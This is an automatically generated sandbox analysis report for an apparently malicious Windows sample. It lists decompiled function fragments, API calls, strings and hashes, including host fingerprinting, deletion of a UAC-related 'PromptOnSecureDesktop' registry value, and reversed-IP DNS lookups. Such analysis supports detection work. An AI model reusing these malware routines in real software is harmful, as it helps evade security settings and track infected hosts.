0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19
0t, xrefs: 00408D02, 00408DA1

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick
String ID: 0t$localcfg
API String ID: 536389180-1645711936
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 0086764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 008676C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00867956
RegCloseKey.ADVAPI32(?), ref: 00867967

Strings

PromptOnSecureDesktop, xrefs: 008676AE, 008676B3, 008676CE

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: 3610e1ebc3a5153bff33eb636b3baa42e1e5f95aa6852ca1f6483d25c7512c25
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: FA11E130A04519AFEB118FA9DC45FAFBF79FB51708F254560F510EA191E6B08D408BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

0t, xrefs: 0040BFD0
Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl$0t
API String ID: 2424974917-3722268674
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

hi_id, xrefs: 00401BE5
localcfg, xrefs: 00401BE7

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0086994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00869986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 008699A6
RegCloseKey.ADVAPI32(?), ref: 008699AF

Strings

PromptOnSecureDesktop, xrefs: 00869972, 00869977, 00869999, 008699BC

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: 136b215f0313671607f0acabc02d371d6cb2b0ade2d429f0186d1f2f398e4bc5
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: 9CF068B2640608BBF7116754AC07FDF3A2CEB55700F114065FA05F9092E6E59E9052BA

Uniqueness

Uniqueness Score: -1.00%

Function 0086DF55, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34threadsleepCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0086DF70
Sleep.KERNEL32(00000000,?,?,0086E56D,008644CB), ref: 0086DF8B
GetCurrentThreadId.KERNEL32 ref: 0086DFA3

Strings

0t, xrefs: 0086DF56

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CurrentThread$Sleep
String ID: 0t
API String ID: 2068822874-1355922044
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 08f288f0d414b93fe9390933edc5013aef530a88805f5eec606b8d1d364b36d4
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: C0F05E75B04304EFD750AFA5BC84BA97FA9F708312F118076E60AC2269CBB055858F6E

Uniqueness

Uniqueness Score: -1.00%

Function 0086EEA4, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0086EEAE
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0086EEC2
GetTickCount.KERNEL32 ref: 0086EEC8

Strings

0t, xrefs: 0086EEC8

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

~3u`y3up2u, xrefs: 00402693
time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~3u`y3up2u
API String ID: 1594361348-1403836930
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 008628D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 008628E3
gethostbyname.WS2_32(u6A), ref: 008628EF

Strings

u6A, xrefs: 008628D5, 008628E2, 008628EE
time_cfg, xrefs: 008628D4

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 02ea34b49e42a1944cf8f594e59d3612deee2b856151e4e67704c81440d96f65
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 3AE0E2306049259FDB509B28FC48ACA7BA5EF4A330F1686E5F494D72A4C774ACC19B94

Uniqueness

Uniqueness Score: -1.00%

Function 0086D7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0086D7BC
Sleep.KERNEL32(000003E8), ref: 0086D7C7
ExitProcess.KERNEL32 ref: 0086D7D3

Strings

p2u, xrefs: 0086D7BC

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: p2u
API String ID: 2012141568-1441537569
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: 9cfea859e460d53374e94c42d20d36411d353366bd3c09a6929685aa63d090a7
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: 93C04834841208EBD7412BA8FC4DE8C3F69EB08302B21C160B10A900B1CAB00A808A2A

Uniqueness

Uniqueness Score: -1.00%

Function 008669AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 008669CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 00866A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 00866A23
CloseHandle.KERNEL32(000000FF), ref: 00866BC1

Part of subcall function 0086EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00861DB8,?), ref: 0086EE91
Part of subcall function 0086EE7E: HeapFree.KERNEL32(00000000), ref: 0086EE98

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: cfe3b91d6816c101001dbd3f6486da259e69fb0bccedff9ab7b4470691e3235b
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 6F71297190025DEFDF10CFA4CC84AEEBBB9FB04364F1545AAE515E6190EB309E92DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004302F7, Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

__initterm.LIBCMTD ref: 004303EA
__initterm.LIBCMTD ref: 004303FC
__CrtSetDbgFlag.LIBCMTD ref: 0043040F
___freeCrtMemory.LIBCMTD ref: 00430426

Part of subcall function 0042D5A0: RtlEncodePointer.NTDLL(00000000,?,0043792E), ref: 0042D5A7

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __initterm$EncodeFlagMemoryPointer___free
String ID:
API String ID: 2654307729-0
Opcode ID: 13d305d5e007e75d720c039bb55ec5fda84ca8949e3cd9799bc73b945f4c3df3
Instruction ID: 429eba3b0dd6f51c1803d4475256072ab2a612965f4c76b40f7f130e5fc2b423
Opcode Fuzzy Hash: 13d305d5e007e75d720c039bb55ec5fda84ca8949e3cd9799bc73b945f4c3df3
Instruction Fuzzy Hash: 79412771D01208DBDB04DFA4D995AEEBBB1AB4C314F20922AE905B7290D7385980CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 008641DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00864208
GetLastError.KERNEL32 ref: 00864212
WaitForSingleObject.KERNEL32(?,?), ref: 00864223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00864236

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 7aa1c368e03ec69afcab095973aa77c966d0d8c6935d3100d7cb7ad7c76e7dcf
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: 39010472511209ABDF01DF90ED84BEF7BACFB18356F218061F901E2150D770DA548BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00864168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00864194
GetLastError.KERNEL32 ref: 0086419E
WaitForSingleObject.KERNEL32(?,?), ref: 008641AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 008641C2

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: a4afb1fb6e4516ceab504130c89e3b6c5555960558282a1ff72ba3377dcca238
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: DC01D372511109ABDB01DF90ED84BEE7BBCFB19356F115061F901E2050EB719AA48BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0086E01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 0086E04F

Strings

A, xrefs: 0086E068
A, xrefs: 0086E020, 0086E025
A, xrefs: 0086E01F

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: lstrcmp
